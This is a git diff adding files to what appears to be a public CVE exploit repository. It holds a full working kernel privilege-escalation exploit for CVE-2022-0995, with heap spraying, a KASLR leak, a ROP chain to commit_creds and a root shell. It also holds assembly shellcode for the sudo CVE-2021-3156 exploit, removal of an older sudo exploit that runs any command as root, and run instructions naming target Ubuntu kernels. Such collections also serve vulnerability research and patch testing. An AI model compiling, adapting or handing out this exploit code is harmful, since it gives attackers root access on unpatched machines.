diff --git a/cve/linux-kernel/2022/CVE-2022-0995/Makefile b/cve/linux-kernel/2022/CVE-2022-0995/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..8ea8c7b377aabdb6fc4330c958964fcd3c8f0e02 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/Makefile @@ -0,0 +1,10 @@ +CC = gcc + +all: clean exploit + +.PHONY: exploit +exploit: + $(CC) exploit.c util.c -o exploit -no-pie -static + +clean: + rm -f exploit diff --git a/cve/linux-kernel/2022/CVE-2022-0995/README.md b/cve/linux-kernel/2022/CVE-2022-0995/README.md new file mode 100644 index 0000000000000000000000000000000000000000..b2e5f7812e704b5997ed55faccd6d9cb67aa18f2 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/README.md @@ -0,0 +1,12 @@ +# CVE-2022-0995 +This is my exploit for `CVE-2022-0995`, an heap out-of-bounds write in the watch_queue Linux kernel component. +It uses the same technique described in https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html. + +The exploit targets Ubuntu 21.10 with kernel `5.13.0-37`. +The exploit is not `100%` reliable, you may need to run it a couple of times. It may panic the kernel, but during my tests it happened rarely. +```sh +make +./exploit +``` + + \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-0995/exploit.c b/cve/linux-kernel/2022/CVE-2022-0995/exploit.c new file mode 100644 index 0000000000000000000000000000000000000000..4639a80367f1e9f1ff29837e7268a06cd9e2e8de --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/exploit.c @@ -0,0 +1,405 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +#include "util.h" + +#define MSGMSG_SPRAY 2000 +#define MSGMSG_FREE_IDX_0 0 +#define MSGMSG_FREE_IDX_1 1950 +#define MTYPE_PRIMARY 0x41 +#define MTYPE_SECONDARY 0x42 +#define MTYPE_FAKE 0x43 +#define PRIMARY_SIZE 96 +#define SECONDARY_SIZE 1024 +#define N_SOCKS 4 +#define N_SKBUFFS 128 +#define NUM_PIPEFDS 256 +#define CORRUPT_MSGMSG_TRIES 50 + +void shell(); + +// Ubuntu kernel 5.13.0-37-generic +// 0xffffffff813c6866 : push rsi ; mov edx, 0x415b00c3 ; pop rsp ; pop rbp ; ret +uint64_t PUSH_RSI_POP_RSP_RBP_RET = 0xffffffff813c6866 - 0xffffffff81000000; +// 0xffffffff8109507d: pop r12; pop r15; ret; +uint64_t POP_POP_RET = 0xffffffff8109507d - 0xffffffff81000000; +// 0xffffffff81095080: pop rdi; ret; +uint64_t POP_RDI_RET = 0xffffffff81095080 - 0xffffffff81000000; +// 0xffffffff81509a39: xor dh, dh; ret; +uint64_t XOR_DH_DH_RET = 0xffffffff81509a39 - 0xffffffff81000000; +// 0xffffffff815c0d54: mov rdi, rax; jne 0x7c0d41; xor eax, eax; ret; +uint64_t MOV_RDI_RAX_JNE_RET = 0xffffffff815c0d54 - 0xffffffff81000000; +uint64_t KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ = 0xffffffff81e0100b - 0xffffffff81000000; +uint64_t PREPARE_KERNEL_CRED = 0xffffffff810d45d0 - 0xffffffff81000000; +uint64_t COMMIT_CREDS = 0xffffffff810d4370 - 0xffffffff81000000; +uint64_t ANON_PIPE_BUF_OPS = 0xffffffff8223ffc0 - 0xffffffff81000000; + +uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell; +uint64_t kaslr_base = -1; + +typedef struct watch_notification_type_filter wntf_t; +typedef struct watch_notification_filter wnf_t; + +int spray_qids[MSGMSG_SPRAY]; +int ss[N_SOCKS][2]; +int pipe_fds[NUM_PIPEFDS][2]; + +unsigned int real_idx = -1, corrupted_idx = -1; + +/* + spray using msg_msg +*/ +void spray_msgmsg() { + char buffer[0x2000] = {0}; + msg *message = (msg *)buffer; + + for (int i = 0; i < MSGMSG_SPRAY; i++) { + int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + spray_qids[i] = spray; + memset(buffer, 0x42, sizeof(buffer)); + + ((unsigned long*)message->mtext)[0] = i; + ((unsigned long*)message->mtext)[5] = 0x0; // later this will probably be a msg_msgseg.next, we want it 0x0 + + message->mtype = MTYPE_PRIMARY; + send_msg(spray, message, PRIMARY_SIZE - 0x30, 0); // Each queue has 1 96 and 1 1024 msg_msg + + if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1) + continue; + + message->mtype = MTYPE_SECONDARY; + send_msg(spray, message, SECONDARY_SIZE - 0x30, 0); // queue --next-> 96 --next-> 1024 <-queue-- + } +} + +void delete_msgmsg(int i, int sz, long mtype) { + char buf[0x2000] = {0}; + get_msg(spray_qids[i], buf, sz - 0x30, mtype, IPC_NOWAIT); +} + +void check_corruption() { + char buf[0x2000] = {0}; + msg *message = (msg *)buf; + + for (int i = 0; i < MSGMSG_SPRAY; i++) { + if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1) + continue; + + get_msg(spray_qids[i], buf, SECONDARY_SIZE - 0x30, 1, MSG_COPY|IPC_NOWAIT); + + if (((uint64_t*)message->mtext)[0] != i) { + real_idx = i; + corrupted_idx = ((uint64_t*)message->mtext)[0]; + break; + } + } +} + +void cleanup_msgmsg() { + for (int i = 0; i < MSGMSG_SPRAY; i++) { + if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1 || i == real_idx || i == corrupted_idx) + continue; + + msgctl(spray_qids[i], IPC_RMID, NULL); + } +} +/* */ + +/* + kmalloc-1024 spray using skbuff +*/ +int spray_skbuff(int ss[N_SOCKS][2], const void *buf, size_t size) { + for (int i = 0; i < N_SOCKS; i++) { + for (int j = 0; j < N_SKBUFFS; j++) { + if (write(ss[i][0], buf, size) < 0) { + perror("[-] write"); + return -1; + } + } + } + return 0; +} + +int free_skbuff(int ss[N_SOCKS][2], void *buf, size_t size) { + for (int i = 0; i < N_SOCKS; i++) { + for (int j = 0; j < N_SKBUFFS; j++) { + if (read(ss[i][1], buf, size) < 0) { + perror("[-] read"); + return -1; + } + } + } + return 0; +} +/* */ + +void build_msgmsg(void* msg, uint64_t list_next, uint64_t list_prev, uint64_t next, uint64_t m_ts, uint64_t security, uint64_t mtype) { + ((msg_msg*)msg)->m_list_next = list_next; + ((msg_msg*)msg)->m_list_prev = list_prev; + ((msg_msg*)msg)->next = next; + ((msg_msg*)msg)->m_ts = m_ts; + ((msg_msg*)msg)->security = security; + ((msg_msg*)msg)->m_type = mtype; +} + +void build_rop(uint64_t* rop) { + int k = 0; + rop[k++] = 0x0; // dummy rbp + rop[k++] = POP_POP_RET + kaslr_base; // skip pipe_buf->ops + rop[k++] = 0x0; // pipe_buf->ops + rop[k++] = 0x0; // dummy + rop[k++] = POP_RDI_RET + kaslr_base; + rop[k++] = 0x0; // rdi + rop[k++] = PREPARE_KERNEL_CRED + kaslr_base; + rop[k++] = XOR_DH_DH_RET + kaslr_base; + rop[k++] = MOV_RDI_RAX_JNE_RET + kaslr_base; + rop[k++] = COMMIT_CREDS + kaslr_base; + rop[k++] = KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ + kaslr_base; + rop[k++] = 0x0; // rax + rop[k++] = 0x0; // rdi + rop[k++] = user_rip; // user_rip + rop[k++] = user_cs; // user_cs + rop[k++] = user_rflags; // user_rflags + rop[k++] = user_sp; // user_sp + rop[k++] = user_ss; // user_ss +} + +void shell() { + syscall(SYS_execve, "/bin/sh", 0, 0); +} + +void save_state() { + __asm__( + ".intel_syntax noprefix;" + "mov user_cs, cs;" + "mov user_ss, ss;" + "mov user_sp, rsp;" + "pushf;" + "pop user_rflags;" + ".att_syntax;" + ); +} + +int main() { + // Assign to cpu 0 + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(0, &my_set); + if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) { + perror("sched_setaffinity()"); + exit(1); + } + + save_state(); + + int fds[2]; + int nfilters = 4; + char buf[0x2000]; + char secondary_buf[SECONDARY_SIZE - 0x140]; + + // Filter setup + wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t)); + if (!filter) { + perror("calloc()"); + exit(1); + } + + /* + STEP 1 + Spray msg_msg: for each queue one msg in kmalloc-96 and one in kmalloc-1024 + Corrupt a msg_msg.mlist.next in kmalloc-96, so that two msg_msg points to the same msg_msg in kmalloc-1024 + */ + puts("[+] STEP 1: msg_msg corruption"); + + int ntries = 0; + + do { + ntries++; + + filter->nr_filters = nfilters; + for (int i = 0; i < (nfilters - 1); i++) { // choose kmalloc-96 + filter->filters[i].type = 1; + } + + // Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned + filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024 + + if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) { + perror("pipe2()"); + exit(1); + } + + // Spray kmalloc-96 + spray_msgmsg(); + delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc + delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup + + // Filter go + if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) { + perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)"); + goto err; + } + + check_corruption(); + + if (corrupted_idx != -1) + break; + + cleanup_msgmsg(); + } while (ntries < CORRUPT_MSGMSG_TRIES); + + if (corrupted_idx == -1) { + puts("[-] couldn't corrupt msg_msg"); + exit(1); + } + + printf("[*] found corrupted msg_msg after %d tries. real: %d corrupted: %d\n", ntries, real_idx, corrupted_idx); + puts("[+] freeing corrupted msg_msg...."); + delete_msgmsg(corrupted_idx, SECONDARY_SIZE, MTYPE_SECONDARY); + + for (int i = 0; i < N_SOCKS; i++) { + if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) { + perror("[-] socketpair"); + goto err; + } + } + + memset(secondary_buf, 0x42, sizeof(secondary_buf)); + build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, 0x0, 8192 - 0x30, 0x0, MTYPE_FAKE); + + puts("[+] reallocating corrupted msg_msg...."); + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + memset(buf, 0x0, sizeof(buf)); + get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY); + + uint64_t primary_msg = ((uint64_t*)buf)[124]; + if ((primary_msg & 0xffff000000000000) != 0xffff000000000000) { + puts("[-] wrong heap leak"); + goto err; + } + printf("[*] primary_msg: 0x%lx\n", primary_msg); + + puts("[+] freeing corrupted msg_msg...."); + free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + memset(secondary_buf, 0x42, sizeof(secondary_buf)); + build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, primary_msg - 8, 8192 - 0x30, 0x0, MTYPE_FAKE); + + puts("[+] reallocating corrupted msg_msg...."); + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + memset(buf, 0x0, sizeof(buf)); + get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY); + + uint64_t secondary_msg = ((uint64_t*)buf)[507]; + if ((secondary_msg & 0xffff000000000000) != 0xffff000000000000) { + puts("[-] wrong heap leak"); + goto err; + } + printf("[*] secondary_msg: 0x%lx\n", secondary_msg); + + uint64_t fake_secondary_msg = secondary_msg - SECONDARY_SIZE; + printf("[*] corrupted secondary_msg: 0x%lx\n", fake_secondary_msg); + puts("[+] freeing corrupted msg_msg...."); + free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + build_msgmsg(secondary_buf, fake_secondary_msg, fake_secondary_msg, 0x0, SECONDARY_SIZE - 0x30, 0x0, MTYPE_FAKE); + + puts("[+] reallocating corrupted msg_msg...."); + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + puts("[+] freeing sk_buff...."); + delete_msgmsg(real_idx, SECONDARY_SIZE, MTYPE_FAKE); + + /* + STEP 2 + Spray struct pipe_buffer, leak KASLR while reading and freeing sk_buffs + */ + puts("[+] STEP 2: KASLR leak"); + puts("[+] Spraying pipe_buffer objs..."); + + for (int i = 0; i < NUM_PIPEFDS; i++) { + if (pipe(pipe_fds[i]) < 0) { + perror("[-] pipe"); + goto err; + } + + if (write(pipe_fds[i][1], "A", 1) < 0) { + perror("[-] write"); + goto err; + } + } + + puts("[+] Leak+free pipe_buffer objs..."); + memset(secondary_buf, 0x0, sizeof(secondary_buf)); + + for (int i = 0; i < N_SOCKS; i++) { + for (int j = 0; j < N_SKBUFFS; j++) { + if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) { + perror("[-] read"); + goto err; + } + + if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE) + kaslr_base = ((uint64_t*)secondary_buf)[2]; + } + } + + if (kaslr_base == -1 || ((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000)) { + puts("[-] couldn't leak kaslr"); + goto err; + } + + printf("[*] kaslr leak: 0x%lx\n", kaslr_base); + kaslr_base -= ANON_PIPE_BUF_OPS; + printf("[*] kaslr base: 0x%lx\n", kaslr_base); + + /* + STEP 3 + Reallocate struct pipe_buffer overwrite _ops pointer and do stack pivoting + */ + puts("[+] STEP 3: Stack pivot"); + puts("[+] Reallocating pipe_buffer object...."); + + struct pipe_buf_operations *ops; + struct pipe_buffer *pipe_buf; + + memset(secondary_buf, 0x0, sizeof(secondary_buf)); + + pipe_buf = (struct pipe_buffer*)secondary_buf; + ops = (struct pipe_buf_operations *)&secondary_buf[0x290]; + ops->release = PUSH_RSI_POP_RSP_RBP_RET + kaslr_base; + + build_rop((uint64_t*)secondary_buf); + + pipe_buf->ops = fake_secondary_msg + 0x290; + + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + puts("[+] Cleaning up msg_msgs"); + cleanup_msgmsg(); + + puts("[+] Releasing pipe_buffer objs"); + for (int i = 0; i < NUM_PIPEFDS; i++) { + if (close(pipe_fds[i][0]) < 0) { + perror("[-] close"); + goto err; + } + if (close(pipe_fds[i][1]) < 0) { + perror("[-] close"); + goto err; + } + } + + return 0; + +err: + cleanup_msgmsg(); + return 1; +} \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-0995/poc.png b/cve/linux-kernel/2022/CVE-2022-0995/poc.png new file mode 100644 index 0000000000000000000000000000000000000000..4c18666c61e94241b2fa2101f833abcba272b2a7 Binary files /dev/null and b/cve/linux-kernel/2022/CVE-2022-0995/poc.png differ diff --git a/cve/linux-kernel/2022/CVE-2022-0995/util.c b/cve/linux-kernel/2022/CVE-2022-0995/util.c new file mode 100644 index 0000000000000000000000000000000000000000..051d36a5e9087c6a8f5fbafacbe91e1add8f95cf --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/util.c @@ -0,0 +1,32 @@ +#include "util.h" + +int32_t make_queue(key_t key, int msgflg) { + int32_t result; + if ((result = msgget(key, msgflg)) == -1) { + perror("msgget failure"); + exit(-1); + } + return result; +} + +ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) { + ssize_t ret; + ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg); + if (ret < 0) { + perror("msgrcv"); + exit(-1); + } + return ret; +} + +ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) { + return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg); +} + +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) { + if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) { + perror("msgsend failure"); + exit(-1); + } + return; +} diff --git a/cve/linux-kernel/2022/CVE-2022-0995/util.h b/cve/linux-kernel/2022/CVE-2022-0995/util.h new file mode 100644 index 0000000000000000000000000000000000000000..b8abd9f9c33960a25ecf6d4446db29e38d3255b2 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/util.h @@ -0,0 +1,52 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct { + long mtype; + char mtext[1]; +} msg; + +typedef struct { + uint64_t m_list_next; + uint64_t m_list_prev; + uint64_t m_type; + uint64_t m_ts; + uint64_t next; + uint64_t security; +} msg_msg; + +struct pipe_buffer { + uint64_t page; + uint32_t offset, len; + uint64_t ops; + uint32_t flags; + uint64_t prv; +}; + +struct pipe_buf_operations { + uint64_t confirm; + uint64_t release; + uint64_t try_steal; + uint64_t get; +}; + +int32_t make_queue(key_t key, int msgflg); +ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); +ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg); \ No newline at end of file diff --git a/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml b/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml new file mode 100644 index 0000000000000000000000000000000000000000..6cbe896836e21237d35ac9e0cb1ab2809da6bf8c --- /dev/null +++ b/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-0995 +source: https://github.com/Bonfee/CVE-2022-0995 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + pipe的ioctl功能IOC_WATCH_QUEUE_SET_FILTER中存在堆溢出,可造成本地提权。 + scope-of-influence: + Linux kernel <5.17-rc7 + reference: + - https://ubuntu.com/security/CVE-2022-0995 + - https://nvd.nist.gov/vuln/detail/CVE-2022-0995 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-0995 + cwe-id: CWE-787 + cnvd-id: + kve-id: + tags: 内核越界,权限提升,cve2022 \ No newline at end of file diff --git a/cve/sudo/2021/CVE-2021-3156/LICENSE b/cve/sudo/2021/CVE-2021-3156/LICENSE new file mode 100644 index 0000000000000000000000000000000000000000..382d7c95213d48aace7a92184906e0a3e35ee39b --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/LICENSE @@ -0,0 +1,28 @@ +Copyright (c) 2021, Worawit Wangwarunyoo +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following disclaimer + in the documentation and/or other materials provided with the + distribution. + * Neither the name of the project nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/cve/sudo/2021/CVE-2021-3156/Makefile b/cve/sudo/2021/CVE-2021-3156/Makefile deleted file mode 100644 index c1b1fa05272e10b939fe1eefb86f0682328bd7b0..0000000000000000000000000000000000000000 --- a/cve/sudo/2021/CVE-2021-3156/Makefile +++ /dev/null @@ -1,11 +0,0 @@ -all: shellcode exploit - -shellcode: shellcode.c - mkdir libnss_x - $(CC) -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c - -exploit: exploit.c - $(CC) -O3 -w -o exploit exploit.c - -clean: - rm -rf libnss_x exploit diff --git a/cve/sudo/2021/CVE-2021-3156/README.md b/cve/sudo/2021/CVE-2021-3156/README.md index fcd7ce961a8e89e2ba0636ae08648c9ce8f15d8d..17e5f4bd7e0b9dc9952d3f1d6f102bcb40a0014d 100644 --- a/cve/sudo/2021/CVE-2021-3156/README.md +++ b/cve/sudo/2021/CVE-2021-3156/README.md @@ -1,30 +1,39 @@ -# CVE-2021-3156 +# CVE-2021-3156 (Sudo Baron Samedit) -![2021-02-10-02-18-07](images/450acf1a2f14793aafa987905b20eeba.png) +This repository is CVE-2021-3156 exploit targeting Linux x64. For writeup, please visit https://datafarm-cybersecurity.medium.com/exploit-writeup-for-cve-2021-3156-sudo-baron-samedit-7a9a4282cb31 +Credit to [Braon Samedit of Qualys for the original advisory](https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt). -> This is a warehouse modification based on [@CptGibbon](https://github.com/CptGibbon/CVE-2021-3156 ) and supports arbitrary command execution. +--- -相关阅读:[CVE-2021-3156 - Exploit修改](https://payloads.online/archivers/2021-02-09/1) +### Files -#### Root shell PoC for CVE-2021-3156 (no bruteforce) +##### Exploit on glibc with tcache + * **exploit_nss.py** auto detect all requirements and number of entries in /etc/nsswitch.conf + * **exploit_nss_manual.py** simplified version of exploit_nss.py for better exploit understanding + * **exploit_timestamp_race.c** overwrite def_timestamp and race condition to modify /etc/passwd -For educational purposes etc. +##### Exploit on glibc without tcache + * **exploit_defaults_mailer.py** the exploit overwrite struct defaults to modify mailer binary path. It requires sudo compiled without disable-root-mailer such as CentOS 6 and 7. + * **exploit_userspec.py** the exploit overwrite struct userspec to bypass authentication and add a new user in /etc/passwd. Support only sudo version 1.8.9-1.8.23. + * **exploit_cent7_userspec.py** simplified version of exploit_userspec.py for understanding but target only CentOS 7 with default configuration + * **exploit_nss_d9.py** overwrite struct service_user on Debian 9 but support only default /etc/nsswith.conf + * **exploit_nss_u16.py** overwrite struct service_user on Ubuntu 16.04 but support only default /etc/nsswith.conf + * **exploit_nss_u14.py** overwrite struct service_user on Ubuntu 14.04 but support only default /etc/nsswith.conf -Tested on : +##### Others + * **asm/** tinyelf library and executable for embedded in python exploit + * **gdb/** scripts that used for debugging sudo heap -- @CptGibbon Ubuntu 20.04 against sudo 1.8.31 -- @Rvn0xsy Ubuntu 17.10 +--- -All research credit: **Qualys Research Team** -Check out the details on their [blog](https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit). +### Choosing exploit +*For Linux distributions that glibc has tcache support and enabled (CentOS 8, Ubuntu >= 17.10, Debian 10):* + * try **exploit_nss.py** first + * If an error is not glibc tcache related, you can try **exploit_timestamp_race.c** next -You can check your version of sudo is vulnerable with: `$ sudoedit -s Y`. -If it asks for your password it's most likely vulnerable, if it prints usage information it isn't. -You can downgrade to the vulnerable version on Ubuntu 20.04 for testing purposes with `$ sudo apt install sudo=1.8.31-1ubuntu1` - -#### Usage - -`$ make` - -`$ ./exploit "Command"` +*For Linux distribution that glibc has no tcache support:* + * if a target is Debian 9, Ubuntu 16.04, or Ubuntu 14.04, try **exploit_nss_xxx.py** for specific version first + * next, try **exploit_defaults_mailer.py**. If you know a target sudo is compiled with *--disable-root-mailer*, you can skip this exploit. The exploit attempt to check root mailer flag from sudo binary. But sudo permission on some Linux distribution is 4711 (-rws--x--x) which is impossible to check on target system. (Known work OS is CentOS 6 and 7) + * last, try **exploit_userspec.py** +![](exp.png) \ No newline at end of file diff --git a/cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm b/cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm new file mode 100644 index 0000000000000000000000000000000000000000..ad2771808b1818d2aa2e26847b875b382475fe30 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/asm/tinylib.asm @@ -0,0 +1,89 @@ +; nasm -f bin -o tinylib tinylib.asm +BITS 64 + org 0 + +ehdr: ; Elf64_Ehdr + db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident + times 8 db 0 + dw 3 ; e_type + dw 0x3e ; e_machine + dd 1 ; e_version + dq _start ; e_entry + dq phdr - $$ ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw 0x38 ; e_phentsize + dw 2 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + ehdrsize equ $ - ehdr + +phdr: ; Elf64_Phdr + ; LOAD + dd 1 ; p_type + dd 7 ; p_flags RWE + dq 0 ; p_offset + dq 0 ; p_vaddr + dq 0 ; p_paddr + dq filesize ; p_filesz + dq filesize ; p_memsz + dq 0x1000 ; p_align + ; DYNAMIC + dd 2 + dd 7 ; RWE + dq dynamic + dq dynamic + dq dynamic + dq dynsize + dq dynsize + dq 0x8 + +dynamic: + ; DT_INIT + dq 12 + dq _start + ; DT_STRTAB + dq 5 + dq 0 + ; DT_SYMTAB + dq 6 + dq 0 + ; DT_STRSZ + dq 0xa + dq 0 + ; DT_SYMENT + dq 0xb + dq 0 + ; DT_NULL (ending) + dq 0 + dq 0 +dynsize equ $ - dynamic + + +_start: + ; setuid(0) + push 105 + pop rax + xor edi, edi + syscall + + ; setgid(0) + push 106 + pop rax + ;xor edi, edi ; edi is still 0 + syscall + + ; ececve("/bin/sh", 0, 0) + xor esi, esi + mov rax, 0x0068732f6e69622f ; '/bin/sh\0' + push rax + push rsp + pop rdi + push 59 + pop rax + cdq + syscall + +filesize equ $ - $$ diff --git a/cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm b/cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm new file mode 100644 index 0000000000000000000000000000000000000000..e84e5fa7c3ac5bfe61e420d5a0d758c620029516 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/asm/tinysh.asm @@ -0,0 +1,58 @@ +; nasm -f bin -o tinysh tinysh.asm +BITS 64 + org 0x400000 + +ehdr: ; Elf64_Ehdr + db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident + times 8 db 0 + dw 2 ; e_type + dw 0x3e ; e_machine + dd 1 ; e_version + dq _start ; e_entry + dq phdr - $$ ; e_phoff + dq 0 ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw 0x38 ; e_phentsize + dw 1 ; e_phnum + dw 0 ; e_shentsize + dw 0 ; e_shnum + dw 0 ; e_shstrndx + ehdrsize equ $ - ehdr + +phdr: ; Elf64_Phdr + dd 1 ; p_type + dd 5 ; p_flags + dq 0 ; p_offset + dq $$ ; p_vaddr + dq $$ ; p_paddr + dq filesize ; p_filesz + dq filesize ; p_memsz + dq 0x1000 ; p_align + + +_start: + ; setuid(0) + push 105 + pop rax + ;xor edi, edi + syscall + + ; setgid(0) + push 106 + pop rax + ;xor edi, edi ; edi is still 0 + syscall + + ; ececve("/bin/sh", 0, 0) + ;xor esi, esi + mov rax, 0x0068732f6e69622f ; '/bin/sh\0' + push rax + push rsp + pop rdi + push 59 + pop rax + cdq + syscall + +filesize equ $ - $$ diff --git a/cve/sudo/2021/CVE-2021-3156/exp.png b/cve/sudo/2021/CVE-2021-3156/exp.png new file mode 100644 index 0000000000000000000000000000000000000000..a094917a6a90a947140110cffd31bb134f357738 Binary files /dev/null and b/cve/sudo/2021/CVE-2021-3156/exp.png differ diff --git a/cve/sudo/2021/CVE-2021-3156/exploit.c b/cve/sudo/2021/CVE-2021-3156/exploit.c deleted file mode 100644 index 354632e0cab944cec8738366a63e1fd3ba725a1f..0000000000000000000000000000000000000000 --- a/cve/sudo/2021/CVE-2021-3156/exploit.c +++ /dev/null @@ -1,108 +0,0 @@ -#include // execve() -#include // strcat() -#include - -/* Exploit for CVE-2021-3156, drops a root shell. - * All credit for original research: Qualys Research Team. - * https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit - * - * Tested on Ubuntu 20.04 against sudo 1.8.31 - * Author: Max Kamper - */ - - - -int main(int argc, char * argv[]) { - - if(argc < 2){ - printf("Usage: %s \n",argv[0]); - printf("[+]Refrence : @Qualys Research Team @Max Kamper \n"); - printf("[+]Modify by Rvn0xsy@ https://payloads.online\n"); - return 0; - } - char * input_command = argv[1]; - int nSize = strlen(input_command)+6; - - char * command = malloc(nSize); - memset(command,0x00,nSize); - sprintf(command,"test\n\n%s\n",input_command); - // 'buf' size determines size of overflowing chunk. - // This will allocate an 0xf0-sized chunk before the target service_user struct. - int i; - char buf[0xf0] = {0}; - memset(buf, 'Y', 0xe0); - strcat(buf, "\\"); - - char* sudoedit_argv[] = { - "sudoedit", - "-S", - "-s", - buf, - NULL}; - - // Use some LC_ vars for heap Feng-Shui. - // This should allocate the target service_user struct in the path of the overflow. - char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"}; - memset(messages + strlen(messages), 'A', 0xb8); - - char telephone[0x50] = {"LC_TELEPHONE=C.UTF-8@"}; - memset(telephone + strlen(telephone), 'A', 0x28); - - char measurement[0x50] = {"LC_MEASUREMENT=C.UTF-8@"}; - memset(measurement + strlen(measurement), 'A', 0x28); - - // This environment variable will be copied onto the heap after the overflowing chunk. - // Use it to bridge the gap between the overflow and the target service_user struct. - char overflow[0x500] = {0}; - memset(overflow, 'X', 0x4cf); - 